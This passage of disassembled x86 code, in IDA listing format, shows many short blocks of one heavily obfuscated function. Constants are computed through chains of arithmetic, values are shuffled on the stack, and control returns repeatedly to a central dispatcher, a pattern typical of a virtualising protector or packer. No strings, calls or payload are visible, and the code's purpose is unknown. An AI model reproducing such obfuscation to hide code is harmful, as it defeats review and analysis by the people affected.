--------------------------------------------------------------------------- loc_585AFF: ; CODE XREF: sub_57DD3A+8DEAj pop ebx add edx, 2 push edx push [esp+58h+var_54] jmp loc_58AAAC ; --------------------------------------------------------------------------- mov eax, [esp+5Ch+var_5C] push ebp push esp pop ebp add ebp, 4 jmp loc_589970 ; --------------------------------------------------------------------------- loc_585B1E: ; CODE XREF: sub_57DD3A+D0CBj mov edx, 54925274h add ebp, edx pop edx sub ecx, ebp pop ebp mov eax, [esp+58h+var_58] add esp, 4 push edi mov edi, 58A104A4h xor edi, 58A104A0h jmp loc_58A7EB ; --------------------------------------------------------------------------- loc_585B40: ; CODE XREF: sub_57DD3A+A1AFj push eax mov ah, 78h mov cl, ah pop eax mov dl, cl mov ecx, [esp+58h+var_58] add esp, 4 jmp loc_589FEF ; --------------------------------------------------------------------------- loc_585B53: ; CODE XREF: sub_57DD3A+B360j push esi mov esi, 812010Eh jmp loc_587FDF ; --------------------------------------------------------------------------- loc_585B5E: ; CODE XREF: sub_57DD3A+E3FAj add esp, 4 jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_585B66: ; CODE XREF: sub_57DD3A+6903j pop ebp xchg esi, [esp+82h+var_84+2] mov esp, [esp+82h+var_84+2] jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_585B72: ; CODE XREF: sub_57DD3A+91B3j pop ecx sub edx, 377562ACh jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_585B7E: ; CODE XREF: sub_57DD3A+DD68j mov [esp+7Eh+var_80+2], edi push 2110h mov [esp+82h+var_84+2], esp push esi mov esi, 4 add [esp+86h+var_84+2], esi pop esi mov edi, [esp+82h+var_84+2] jmp loc_584FCE ; --------------------------------------------------------------------------- loc_585B9C: ; CODE XREF: sub_57DD3A+8309j xor ebx, 7CBE2D64h sub ebx, 6B7D799Ah sub ebx, 26CB8E4Ch add eax, ebx mov ebx, [esp+82h+var_84+2] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+86h+var_88+2] pop esp jmp loc_581A9E ; --------------------------------------------------------------------------- loc_585BC8: ; CODE XREF: sub_57DD3A+A259j mov cl, ah mov eax, [esp+82h+var_84+2] add esp, 4 jmp loc_581EE6 ; --------------------------------------------------------------------------- loc_585BD8: ; CODE XREF: sub_57DD3A+BC70j add ecx, ebp pop ebp jmp loc_5897B0 ; --------------------------------------------------------------------------- loc_585BE0: ; CODE XREF: sub_57DD3A+F27Aj mov ecx, [esp+7Ah+var_7C+2] add esp, 4 and ecx, edi mov edi, [esp+76h+var_78+2] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+7Ah+var_7C+2] pop esp shr ecx, 0Bh push eax mov eax, esp add eax, 4 push ebx mov ebx, 5DB85E93h and ebx, 583D7C2Fh neg ebx inc ebx sub ebx, 6E20C78h not ebx add ebx, 0A0E5978Bh jmp loc_585A66 ; --------------------------------------------------------------------------- loc_585C2B: ; CODE XREF: sub_57DD3A+6A46j mov ebx, [esp+0C4h+var_C4] add esp, 4 jmp loc_5867EC ; --------------------------------------------------------------------------- loc_585C39: ; CODE XREF: sub_57DD3A+BE30j add al, 1Bh sub al, bl sub al, 1Bh push ebx mov bl, 0D2h jmp loc_58297A ; --------------------------------------------------------------------------- loc_585C47: ; CODE XREF: sub_57DD3A+81E8j mov eax, esp jmp loc_5850B1 ; --------------------------------------------------------------------------- loc_585C4E: ; CODE XREF: sub_57DD3A+4641j sub ecx, ebx sub ecx, 55CB2221h pop ebx jmp loc_582E35 ; --------------------------------------------------------------------------- loc_585C5C: ; CODE XREF: sub_57DD3A+E108j mov ebx, 4 add ebp, ebx pop ebx add ebp, 4 jmp loc_588E47 ; --------------------------------------------------------------------------- loc_585C6C: ; CODE XREF: sub_57DD3A+41AFj dec cl xor cl, 35h jmp loc_58A050 ; --------------------------------------------------------------------------- loc_585C76: ; CODE XREF: sub_57DD3A+EBDFj add ecx, 4 push edx mov edx, 63BF3BE0h neg edx shl edx, 5 push esi mov esi, 88188404h xor edx, esi jmp loc_5872FC ; --------------------------------------------------------------------------- loc_585C94: ; CODE XREF: sub_57DD3A+6431j mov [esp+88h+var_88], esi push ecx jmp loc_58B72C ; --------------------------------------------------------------------------- lodsb jmp loc_5820AD ; --------------------------------------------------------------------------- loc_585CA3: ; CODE XREF: sub_57DD3A+69F6j xor edi, 0B3716E0h jmp loc_58DE76 ; --------------------------------------------------------------------------- loc_585CAE: ; CODE XREF: sub_57DD3A+4B46j pop esi push ebp mov ebp, 7AC14D1Eh sub ebp, 53C11835h push ebp jmp loc_5845DB ; --------------------------------------------------------------------------- loc_585CC1: ; CODE XREF: sub_57DD3A+9FC2j jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_585CC6: ; CODE XREF: sub_57DD3A+4C46j push edx mov dh, 2Eh sub dh, 1Ah sub al, dh pop edx sub esp, 2 jmp loc_587B50 ; --------------------------------------------------------------------------- loc_585CDA: ; CODE XREF: sub_57DD3A+EB9Aj pop ebp sub ebx, 36B2667Bh add ebx, eax jmp loc_58B58E ; --------------------------------------------------------------------------- loc_585CE8: ; CODE XREF: sub_57DD3A+BC24j push 0ACBh jmp loc_58B108 ; --------------------------------------------------------------------------- loc_585CF2: ; CODE XREF: sub_57DD3A+95DBj mov esi, [esp+68h+var_68] add esp, 4 neg esi add esi, 485A248Ah jmp loc_5848E8 ; --------------------------------------------------------------------------- mov cx, word ptr [esp+64h+var_64] push edx mov edx, esp jmp loc_588B0F ; --------------------------------------------------------------------------- loc_585D11: ; CODE XREF: sub_57DD3A+B231j add esp, 4 sub esp, 4 jmp loc_581C71 ; --------------------------------------------------------------------------- lodsd push 14ADh mov [esp+6Ch+var_6C], edx mov edx, 2BF60DA4h jmp loc_58C7ED ; --------------------------------------------------------------------------- loc_585D32: ; CODE XREF: sub_57DD3A+DD3Bj mov ebx, 38054193h add ebx, 0EB631FAFh xor ecx, ebx jmp loc_582478 ; --------------------------------------------------------------------------- loc_585D44: ; CODE XREF: sub_57DD3A+487Cj xchg ebx, [esp+74h+var_74] pop esp sub esp, 4 mov [esp+74h+var_74], edx push 0C08h mov [esp+78h+var_78], ecx push edx mov dh, 0A9h mov cl, dh pop edx mov dl, cl pop ecx not dl add dl, 3Dh push ebx mov bl, 0EDh sub dl, bl pop ebx jmp loc_589E9F ; --------------------------------------------------------------------------- loc_585D6F: ; CODE XREF: sub_57DD3A+AA38j add al, bl sub al, 4Eh pop ebx push ecx mov cl, 0B5h add al, 0A3h push ecx mov ch, 0C2h add ch, 8Bh xor ch, 1Eh dec ch add ch, 81h add al, ch pop ecx add al, cl jmp loc_586516 ; --------------------------------------------------------------------------- loc_585D91: ; CODE XREF: sub_57DD3A+4431j add ecx, edi jmp loc_58AC98 ; --------------------------------------------------------------------------- loc_585D98: ; CODE XREF: sub_57DD3A+10226j and [edi+1Ch], esi push [esp+5Ch+var_5C] push [esp+60h+var_60] jmp loc_586B0B ; --------------------------------------------------------------------------- loc_585DA6: ; CODE XREF: sub_57DD3A+EDB2j push eax jmp loc_588F75 ; --------------------------------------------------------------------------- loc_585DAC: ; CODE XREF: sub_57DD3A+7845j push ebp push edx mov edx, 5FF12E15h xor edx, 62153AC6h push ecx mov ecx, 3A642ED0h neg ecx shr ecx, 8 sub ecx, 0CAD47D9Bh jmp loc_58462D ; --------------------------------------------------------------------------- loc_585DCF: ; CODE XREF: sub_57DD3A+A655j jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_585DD4: ; CODE XREF: sub_57DD3A+B6DEj push [esp+66h+var_68+2] pop esi add esp, 4 jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_585DE0: ; CODE XREF: sub_57DD3A+3C80j pop ecx push 39h mov [esp+66h+var_68+2], esi mov esi, 4 push eax mov eax, 6A492EE8h sub ecx, eax pop eax add ecx, esi push edi mov edi, 1B151049h neg edi push ecx mov ecx, 7AA1C0CFh jmp loc_582AB0 ; --------------------------------------------------------------------------- loc_585E0C: ; CODE XREF: sub_57DD3A+E910j pop esp jmp loc_58202A ; --------------------------------------------------------------------------- loc_585E12: ; CODE XREF: sub_57DD3A+BF9Fj and edi, 378A723Ah sub edi, 3F9520E7h xor edi, 54C25351h xor esi, edi pop edi add edx, esi jmp loc_588D24 ; --------------------------------------------------------------------------- loc_585E2E: ; CODE XREF: sub_57DD3A+E064j mov eax, [esp+66h+var_68+2] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+6Ah+var_6C+2] pop esp mov ebp, [esp+66h+var_68+2] sub esp, 4 mov [esp+6Ah+var_6C+2], ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp+6Ah+var_6C+2] pop esp xchg ebx, ebp push ebx not [esp+6Ah+var_6C+2] pop ebx xchg ebx, ebp jmp loc_5896F0 ; --------------------------------------------------------------------------- loc_585E6D: ; CODE XREF: sub_57DD3A+A915j add [esp+66h+var_64+2], edx push edi push ecx push esi push 325145B2h pop esi jmp loc_589367 ; --------------------------------------------------------------------------- loc_585E7F: ; CODE XREF: sub_57DD3A+4EBBj mov edx, [esp+5Ch+var_5C] jmp loc_58836A ; --------------------------------------------------------------------------- loc_585E87: ; CODE XREF: sub_57DD3A+B003j push edi mov edi, 4 add ebp, edi pop edi add ebp, 4 xor ebp, [esp+5Ch+var_5C] xor [esp+5Ch+var_5C], ebp jmp loc_589529 ; --------------------------------------------------------------------------- loc_585E9E: ; CODE XREF: sub_57DD3A+9857j add esp, 4 add eax, 4 xchg eax, [esp+58h+var_58] pop esp xor ebp, [esp+54h+var_54] xor [esp+54h+var_54], ebp xor ebp, [esp+54h+var_54] pop esp push [esp+50h+var_50] jmp loc_58B344 ; --------------------------------------------------------------------------- loc_585EBA: ; CODE XREF: sub_57DD3A+D1CDj pop edi jmp loc_58D570 ; --------------------------------------------------------------------------- loc_585EC0: ; CODE XREF: sub_57DD3A+F2B3j mov esp, [esp+50h+var_50] mov ax, word ptr [esp+50h+var_50] sub esp, 4 jmp loc_58865B ; --------------------------------------------------------------------------- loc_585ED2: ; CODE XREF: sub_57DD3A+71BEj mov edi, [esp+72h+var_74+2] add esp, 4 jmp loc_587B03 ; --------------------------------------------------------------------------- loc_585EE0: ; CODE XREF: sub_57DD3A+AFB0j pop [esp+6Eh+var_70+2] pop esp mov [esp+66h+var_68+2], eax jmp loc_586055 ; --------------------------------------------------------------------------- loc_585EEC: ; CODE XREF: sub_57DD3A+AC30j mov esi, 5223091h or ebx, esi pop esi jmp loc_58BB2C ; --------------------------------------------------------------------------- loc_585EF9: ; CODE XREF: sub_57DD3A+9E4Bj mov [esp+62h+var_64+2], esi jmp loc_583AFD ; --------------------------------------------------------------------------- loc_585F01: ; CODE XREF: sub_57DD3A+78E8j mov [esp+80h+var_80], eax jmp loc_58C5B4 ; --------------------------------------------------------------------------- loc_585F09: ; CODE XREF: sub_57DD3A+E3E7j add [esp+80h+var_80], 615F1E75h pop edi sub edi, 615F1E75h jmp loc_584EEB ; --------------------------------------------------------------------------- loc_585F1C: ; CODE XREF: sub_57DD3A+B168j mov esi, 26E0104h push eax jmp loc_585C47 ; --------------------------------------------------------------------------- loc_585F27: ; CODE XREF: sub_57DD3A+3DA5j pop edi jmp loc_5845B9 ; --------------------------------------------------------------------------- loc_585F2D: ; CODE XREF: sub_57DD3A+F5C6j mov esi, esp add esi, 4 add esi, 4 xor esi, [esp+66h+var_68+2] xor [esp+66h+var_68+2], esi xor esi, [esp+66h+var_68+2] jmp loc_585054 ; --------------------------------------------------------------------------- loc_585F46: ; CODE XREF: sub_57DD3A+A286j pop edx sub ecx, edx mov edx, [esp+62h+var_64+2] add esp, 4 push ebx push edi mov edi, 0FC37AB3h neg edi or edi, 6A7F2757h shr edi, 3 xor edi, 4923146Dh inc edi sub edi, 0DD7C8E8Bh push edi pop ebx pop edi add eax, ebx mov ebx, [esp+62h+var_64+2] add esp, 4 sub eax, ecx push edi mov edi, 23FE79B1h dec edi inc edi sub edi, 39CE142Eh inc edi add edi, 2A1E1012h xor edi, 6CBE246Ah sub eax, edi pop edi pop ecx add ebx, 76645F2Bh jmp loc_58A908 ; --------------------------------------------------------------------------- loc_585FA8: ; CODE XREF: sub_57DD3A+4005j pop edx jmp loc_5875DE ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl byte ptr [esp+9Eh+var_A0+2], cl pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_585FBD: ; CODE XREF: sub_57DD3A+7D3Ej mov ecx, edi pop edi add edx, ecx pop ecx add edx, 4 push edx push [esp+80h+var_7C] pop edx jmp loc_582D6E ; --------------------------------------------------------------------------- loc_585FD1: ; CODE XREF: sub_57DD3A+BFBDj push ebx mov ebx, 4D697F08h mov esi, ebx jmp loc_58C497 ; --------------------------------------------------------------------------- loc_585FDE: ; CODE XREF: sub_57DD3A+D814j sub esp, 4 mov [esp+88h+var_88], edx jmp loc_581F7B ; --------------------------------------------------------------------------- loc_585FE9: ; CODE XREF: sub_57DD3A+E87Dj mov ah, bh pop ebx mov bh, ah jmp loc_58C2B7 ; --------------------------------------------------------------------------- loc_585FF3: ; CODE XREF: sub_57DD3A+8A84j pop edx xchg ecx, [esp+80h+var_80] pop esp push 4FDEh mov [esp+80h+var_80], edx mov edx, esi jmp loc_5877C8 ; --------------------------------------------------------------------------- loc_586007: ; CODE XREF: sub_57DD3A+B671j sub eax, 0D28E1898h add ebp, eax pop eax add ebp, 6AC826A6h pop esi push edi mov edi, 0 sub edi, 64AE4CBDh sub edi, ebp add edi, 64AE4CBDh xchg edi, ebp jmp loc_58621B ; --------------------------------------------------------------------------- loc_586031: ; CODE XREF: sub_57DD3A+E11Cj inc esi add esi, 0C3BCA9EAh add eax, esi mov esi, [esp+7Ch+var_7C] jmp loc_58DE61 ; --------------------------------------------------------------------------- loc_586042: ; CODE XREF: sub_57DD3A+5D7Cj dec ebx jmp loc_585B9C ; --------------------------------------------------------------------------- loc_586048: ; CODE XREF: sub_57DD3A+5B6Ej pop edi jmp loc_58DDC0 ; --------------------------------------------------------------------------- loc_58604E: ; CODE XREF: sub_57DD3A+D243j add ecx, edi jmp loc_5876C4 ; --------------------------------------------------------------------------- loc_586055: ; CODE XREF: sub_57DD3A+81ADj jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58605A: ; CODE XREF: sub_57DD3A+F80Aj mov cl, dh pop edx push edx mov dl, cl mov ah, dl pop edx pop ecx pop ebx mov bl, ah pop eax jmp loc_582C9B ; --------------------------------------------------------------------------- loc_58606D: ; CODE XREF: sub_57DD3A+DCD9j push [esp+56h+var_54+2] pop edi pop [esp+56h+var_58+2] jmp loc_588183 ; --------------------------------------------------------------------------- loc_58607A: ; CODE XREF: sub_57DD3A+963Bj mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp+52h+var_54+2] pop esp mov [esp+4Eh+var_50+2], eax push 2A344FC3h pop eax or edx, eax jmp loc_5883E4 ; --------------------------------------------------------------------------- loc_586099: ; CODE XREF: sub_57DD3A+E5A5j add edx, ecx pop ecx push edi mov edi, 1B3212F6h not edi and edi, 7A9230CDh sub edi, 28B70DC2h xor edx, edi pop edi jmp loc_58DB24 ; --------------------------------------------------------------------------- loc_5860B8: ; CODE XREF: sub_57DD3A+9436j push [esp+4Ah+var_4C+2] mov edi, [esp+4Eh+var_50+2] add esp, 4 add esp, 4 pop [esp+46h+var_46] mov esp, [esp+42h+var_42] mov word ptr [esp+42h+var_42], dx push ax pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_5860D9: ; CODE XREF: sub_57DD3A+EBA8j push ecx mov ch, 17h add ch, 0FFh not ch dec ch neg ch shl ch, 8 sub ch, 0C7h sub bl, ch mov ecx, [esp+4Ch+var_4C] jmp loc_5885CA ; --------------------------------------------------------------------------- loc_5860F5: ; CODE XREF: sub_57DD3A+9A4Bj mov ebp, eax jmp loc_586175 ; --------------------------------------------------------------------------- loc_5860FC: ; CODE XREF: sub_57DD3A+FCAEj and byte ptr [esp+4Ch+var_4C], al pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- mov cx, word ptr [esp+50h+var_50] push 4836h mov [esp+54h+var_54], ebx push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp+58h+var_58] pop esp jmp loc_58BCBA ; --------------------------------------------------------------------------- loc_586126: ; CODE XREF: sub_57DD3A+C75Aj push eax push esi push 7D7A6C97h pop esi xor esi, 5D5A4447h mov eax, esi pop esi xor eax, 5D375415h mov esi, eax jmp loc_58D3B1 ; --------------------------------------------------------------------------- loc_586143: ; CODE XREF: sub_57DD3A+EBE6j pop edi pop ebx push edx mov edx, 27C84499h jmp loc_5862B8 ; --------------------------------------------------------------------------- loc_586150: ; CODE XREF: sub_57DD3A+EC28j mov eax, 7796A3EAh mov edi, eax jmp loc_5862CB ; --------------------------------------------------------------------------- loc_58615C: ; CODE XREF: sub_57DD3A+5533j add eax, 0E8F23F0h jmp loc_588B76 ; --------------------------------------------------------------------------- loc_586166: ; CODE XREF: sub_57DD3A+EFA5j xchg ecx, [esp+52h+var_54+2] pop esp mov [esp+4Eh+var_50+2], edx mov dh, 62h push ebx jmp loc_582035 ; --------------------------------------------------------------------------- loc_586175: ; CODE XREF: sub_57DD3A+83BDj mov [edi+24h], ebp jmp loc_584CEB ; --------------------------------------------------------------------------- loc_58617D: ; CODE XREF: sub_57DD3A+C260j rol word ptr [esp+4Ch+var_4C], cl pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_586187: ; CODE XREF: sub_57DD3A+7694j add esp, 4 sub esp, 4 jmp loc_58599E ; --------------------------------------------------------------------------- loc_586198: ; CODE XREF: sub_57DD3A+DBF8j mov edi, 53AA66AFh jmp loc_589AB2 ; --------------------------------------------------------------------------- loc_5861A2: ; CODE XREF: sub_57DD3A+BF93j sub esp, 4 mov [esp+7Ah+var_7C+2], esi mov esi, esp push ecx push edi mov edi, 25B455A2h jmp loc_58432B ; --------------------------------------------------------------------------- loc_5861B9: ; CODE XREF: sub_57DD3A+59D5j push ebp mov ebp, 60720612h add edi, ebp mov ebp, [esp+0ACh+var_AC] add esp, 4 add edi, eax sub edi, 60720612h jmp loc_58665A ; --------------------------------------------------------------------------- loc_5861D7: ; CODE XREF: sub_57DD3A+BF05j shl ebx, 8 shr ebx, 8 dec ebx dec ebx or ebx, 474D74BBh jmp loc_58CA88 ; --------------------------------------------------------------------------- loc_5861EA: ; CODE XREF: sub_57DD3A+E751j xor esi, [esp+0A8h+var_A8] mov esp, [esp+0A8h+var_A8] sub word ptr [esp+0A8h+var_A8], ax pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_5861FA: ; CODE XREF: sub_57DD3A+6CF7j pop eax push edi sub esp, 4 jmp loc_584C28 ; --------------------------------------------------------------------------- loc_586207: ; CODE XREF: sub_57DD3A+A91Cj add ch, bl sub ch, 0DBh pop ebx jmp loc_589B7B ; --------------------------------------------------------------------------- loc_586212: ; CODE XREF: sub_57DD3A+A7DDj xchg ecx, [esp+90h+var_90] pop esp jmp loc_58A0A7 ; --------------------------------------------------------------------------- loc_58621B: ; CODE XREF: sub_57DD3A+82F2j pop edi jmp loc_5891FF ; --------------------------------------------------------------------------- loc_586221: ; CODE XREF: sub_57DD3A+AB7Aj pop [esp+78h+var_78] add [esp+74h+var_74], 4 push [esp+74h+var_74] pop ecx add esp, 4 add ecx, 4 sub ecx, 4 xor ecx, [esp+70h+var_70] xor [esp+70h+var_70], ecx xor ecx, [esp+70h+var_70] mov esp, [esp+70h+var_70] mov [esp+70h+var_70], edx mov edx, 1 and eax, edx mov edx, [esp+70h+var_70] add esp, 4 or edx, eax shl edx, 1 push edx jmp loc_582747 ; --------------------------------------------------------------------------- loc_586267: ; CODE XREF: sub_57DD3A+A6A5j push ax jmp loc_586314 ; --------------------------------------------------------------------------- loc_58626E: ; CODE XREF: sub_57DD3A+53FAj mov ebp, [esp+9Eh+var_A0+2] add esp, 4 add eax, 4 jmp loc_5896FF ; --------------------------------------------------------------------------- loc_58627F: ; CODE XREF: sub_57DD3A+10081j mov eax, 6DFC4ABAh add eax, 0FFFFFFFFh jmp loc_586DB0 ; --------------------------------------------------------------------------- loc_58628C: ; CODE XREF: sub_57DD3A+85D5j mov eax, [esp+9Ah+var_9C+2] add esp, 4 add eax, 4 push 3507h jmp loc_583233 ; --------------------------------------------------------------------------- loc_5862A1: ; CODE XREF: sub_57DD3A+47F2j mov eax, 6DDC0FD3h xor eax, 2CBA0036h shr eax, 8 add eax, 1BB0016Bh jmp loc_58C0F5 ; --------------------------------------------------------------------------- loc_5862B8: ; CODE XREF: sub_57DD3A+8411j push edx not [esp+58h+var_58] inc [esp+58h+var_58] jmp loc_58BC83 ; --------------------------------------------------------------------------- loc_5862C4: ; CODE XREF: sub_57DD3A+AF00j mov ebx, esp jmp loc_588E5B ; --------------------------------------------------------------------------- loc_5862CB: ; CODE XREF: sub_57DD3A+841Dj pop eax sub edi, ebx pop ebx xor [esp+4], edi mov edi, [esp+4Ch+var_4C] add esp, 4 jmp loc_58AE32 ; --------------------------------------------------------------------------- loc_5862E1: ; CODE XREF: sub_57DD3A+89D3j mov edi, 21870630h xor edi, 65267E5Dh xor edi, 53EA2498h sub edi, 23A9629Ah jmp loc_5863F5 ; --------------------------------------------------------------------------- loc_5862FD: ; CODE XREF: sub_57DD3A+A429j mov ecx, [esp+0] add esp, 4 jmp loc_5847B4 ; --------------------------------------------------------------------------- loc_58630B: ; CODE XREF: sub_57DD3A+A126j mov [esp+44h+var_46+2], eax push esp jmp loc_58628C ; --------------------------------------------------------------------------- loc_586314: ; CODE XREF: sub_57DD3A+852Fj mov al, 98h jmp loc_58A882 ; --------------------------------------------------------------------------- loc_58631B: ; CODE XREF: sub_57DD3A+B342j mov esp, [esp+72h+var_74+2] push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_584E3A ; --------------------------------------------------------------------------- loc_586332: ; CODE XREF: sub_57DD3A+E849j add esp, 4 jmp loc_58A17D ; --------------------------------------------------------------------------- loc_58633A: ; CODE XREF: sub_57DD3A+C9A1j shr ebx, 8 add ebx, 508CEF9Ah and edx, ebx jmp loc_583FED ; --------------------------------------------------------------------------- loc_58634A: ; CODE XREF: sub_57DD3A+D986j sub al, 4Bh add al, bl push ecx push edx mov dl, 4 push 2A58h mov [esp+7Eh+var_80+2], ebx mov bl, 3Ch sub bl, 0B1h shr bl, 2 jmp loc_58D220 ; --------------------------------------------------------------------------- loc_586367: ; CODE XREF: sub_57DD3A+4D27j mov esp, [esp+60h+var_60] shl word ptr [esp+60h+var_60], cl pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_586374: ; CODE XREF: sub_57DD3A+A08Bj mov edx, 33CA3485h and edx, 59D14F96h jmp loc_58893F ; --------------------------------------------------------------------------- loc_586384: ; CODE XREF: sub_57DD3A+F946j pop edi add edx, eax push ecx mov ecx, 6BEB52E2h push eax mov eax, 2B3C63A7h jmp loc_587AD6 ; --------------------------------------------------------------------------- loc_586398: ; CODE XREF: sub_57DD3A+A63Cj push esi push [esp+6Ch+var_68] pop esi pop [esp+6Ch+var_6C] pop esp xchg ecx, [esp+64h+var_64] mov esp, [esp+64h+var_64] mov [esp+64h+var_64], edi mov edi, 2 sub esi, 40171739h add esi, edi add esi, 40171739h jmp loc_588B00 ; --------------------------------------------------------------------------- mov cx, word ptr [esp+64h+var_64] jmp loc_5872E3 ; --------------------------------------------------------------------------- loc_5863CC: ; CODE XREF: sub_57DD3A+1019Cj mov [esp+64h+var_64], esp push edx push ebp mov ebp, 34DC6649h mov edx, 34DC664Dh jmp loc_587C02 ; --------------------------------------------------------------------------- loc_5863E0: ; CODE XREF: sub_57DD3A+FD17j mov ebp, esp add ebp, 4 jmp loc_588125 ; --------------------------------------------------------------------------- loc_5863ED: ; CODE XREF: sub_57DD3A+BD85j xchg ebx, [esp+6Ch+var_6C] jmp loc_589599 ; --------------------------------------------------------------------------- loc_5863F5: ; CODE XREF: sub_57DD3A+85BEj add edi, 62A730AEh xor ecx, edi pop edi and ebp, ecx pop ecx dec ebp jmp loc_589531 ; --------------------------------------------------------------------------- loc_586407: ; CODE XREF: sub_57DD3A+CCCEj mov bh, 0DFh sub al, bh mov ebx, [esp+40h+var_42+2] add esp, 4 sub al, 69h jmp loc_5854C7 ; --------------------------------------------------------------------------- loc_586418: ; CODE XREF: sub_57DD3A+7766j pop edx sub esi, ebx pop ebx add edx, esi jmp loc_58364D ; --------------------------------------------------------------------------- loc_586423: ; CODE XREF: sub_57DD3A+5604j add al, 5Fh not al add al, 25h jmp loc_58D8F7 ; --------------------------------------------------------------------------- loc_58642E: ; CODE XREF: sub_57DD3A+6E8Cj push bx mov bl, dl jmp loc_582804 ; --------------------------------------------------------------------------- loc_586437: ; CODE XREF: sub_57DD3A+C252j mov edx, 2 add ecx, 6FCE0749h jmp loc_586FF6 ; --------------------------------------------------------------------------- lodsb push 61E4h mov [esp+7Ch+var_7C], edx mov dh, 67h neg dh push eax push ebx mov bh, 6Ch not bh or bh, 0F1h xor bh, 31h mov ah, bh pop ebx push bx jmp loc_587603 ; --------------------------------------------------------------------------- loc_58646A: ; CODE XREF: sub_57DD3A+D258j push ecx mov ecx, 130651D0h xor edx, ecx jmp loc_586F3A ; --------------------------------------------------------------------------- loc_586477: ; CODE XREF: sub_57DD3A+90A6j pop ebx xor dh, ch push [esp+82h+var_84+2] pop ecx add esp, 4 jmp loc_582158 ; --------------------------------------------------------------------------- loc_586489: ; CODE XREF: sub_57DD3A+AB9Aj sub edx, ecx pop ecx push ecx jmp loc_58D466 ; --------------------------------------------------------------------------- loc_586492: ; CODE XREF: sub_57DD3A+9FC8j mov edx, esp push ebp jmp loc_582C3A ; --------------------------------------------------------------------------- loc_58649A: ; CODE XREF: sub_57DD3A+6B43j sub esi, 60306A57h add esi, ebp jmp loc_584634 ; --------------------------------------------------------------------------- loc_5864A7: ; CODE XREF: sub_57DD3A+10051j jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_5864AC: ; CODE XREF: sub_57DD3A+F936j push edi push ebp jmp loc_582E89 ; --------------------------------------------------------------------------- loc_5864B3: ; CODE XREF: sub_57DD3A+A16Cj mov edi, 4 add [esp+8Ah+var_88+2], edi pop edi pop esi jmp loc_5826A4 ; --------------------------------------------------------------------------- loc_5864C3: ; CODE XREF: sub_57DD3A+E2B8j pop ebx jmp loc_585129 ; --------------------------------------------------------------------------- loc_5864C9: ; CODE XREF: sub_57DD3A+5AA5j mov [esp+0BCh+var_BC], esi push [esp+0BCh+var_B8] jmp loc_58406C ; --------------------------------------------------------------------------- loc_5864D5: ; CODE XREF: sub_57DD3A+E5B0j mov ah, bl mov cl, ah pop eax mov ebx, [esp+0BCh+var_BC] add esp, 4 push eax mov ah, cl mov bh, ah mov eax, [esp+0BCh+var_BC] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+0C0h+var_C0] pop esp jmp loc_58889B ; --------------------------------------------------------------------------- loc_586500: ; CODE XREF: sub_57DD3A+B9C8j mov esp, [esp+0BCh+var_BC] div ecx push edx mov edx, esp push esi jmp loc_582718 ; --------------------------------------------------------------------------- mov eax, [esp+0C4h+var_C4] jmp loc_58BA9F ; --------------------------------------------------------------------------- loc_586516: ; CODE XREF: sub_57DD3A+8052j sub al, 0D3h sub al, 0A3h jmp loc_583129 ; --------------------------------------------------------------------------- lodsd add esi, 64932335h add esi, eax sub esp, 4 mov [esp+78h+var_78], edi jmp loc_587D01 ; --------------------------------------------------------------------------- loc_586536: ; CODE XREF: sub_57DD3A+B80Cj add esi, 22E06188h pop edx push esi jmp loc_589ACE ; --------------------------------------------------------------------------- loc_586543: ; CODE XREF: sub_57DD3A+E6F9j sub ecx, ebx sub ecx, 4B80726h add ecx, 576D5C98h pop ebx jmp loc_58BB50 ; --------------------------------------------------------------------------- loc_586557: ; CODE XREF: sub_57DD3A+DF7Bj sub edx, 69585D81h add edx, eax add edx, 69585D81h pop eax add edx, 4 xchg edx, [esp+70h+var_70] pop esp push 2DBDh mov [esp+70h+var_70], edx push ecx mov ecx, 50D71EFDh mov edx, 1B6B034Fh add edx, ecx jmp loc_589DD0 ; --------------------------------------------------------------------------- loc_586587: ; CODE XREF: sub_57DD3A+FF95j pop esp bts word ptr [esp+70h+var_70], ax pushf jmp loc_58B865 ; --------------------------------------------------------------------------- loc_586593: ; CODE XREF: sub_57DD3A+43B1j jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_586598: ; CODE XREF: sub_57DD3A+57C9j mov esi, ebx pop ebx sub ebx, esi mov esi, [esp+0D0h+var_D0] add esp, 4 pop small word ptr [eax] jmp loc_5894E3 ; --------------------------------------------------------------------------- loc_5865AB: ; CODE XREF: sub_57DD3A+D0C5j push edx push [esp+0CEh+var_CC+2] pop edx pop [esp+0CEh+var_D0+2] pop esp push [esp+0C6h+var_C8+2] push [esp+0CAh+var_CC+2] pop eax add esp, 4 push ebx jmp loc_58AB4B ; --------------------------------------------------------------------------- loc_5865C8: ; CODE XREF: sub_57DD3A+F6B7j push esi push [esp+0CEh+var_CC+2] mov esi, [esp+0D2h+var_D4+2] add esp, 4 jmp loc_589E6D ; --------------------------------------------------------------------------- loc_5865D8: ; CODE XREF: sub_57DD3A+4EE0j xchg ebx, [esp+8Ch+var_8C] pop esp jmp loc_58C352 ; --------------------------------------------------------------------------- loc_5865E1: ; CODE XREF: sub_57DD3A+8A01j sub ecx, 5AF5740Eh sub ecx, 3FD22A1h sub ecx, 6927B0Fh add ecx, edx add ecx, 6927B0Fh add ecx, 3FD22A1h add ecx, 5AF5740Eh pop edx xor ecx, [esp+84h+var_84] xor [esp+84h+var_84], ecx xor ecx, [esp+84h+var_84] mov esp, [esp+84h+var_84] loc_586614: ; CODE 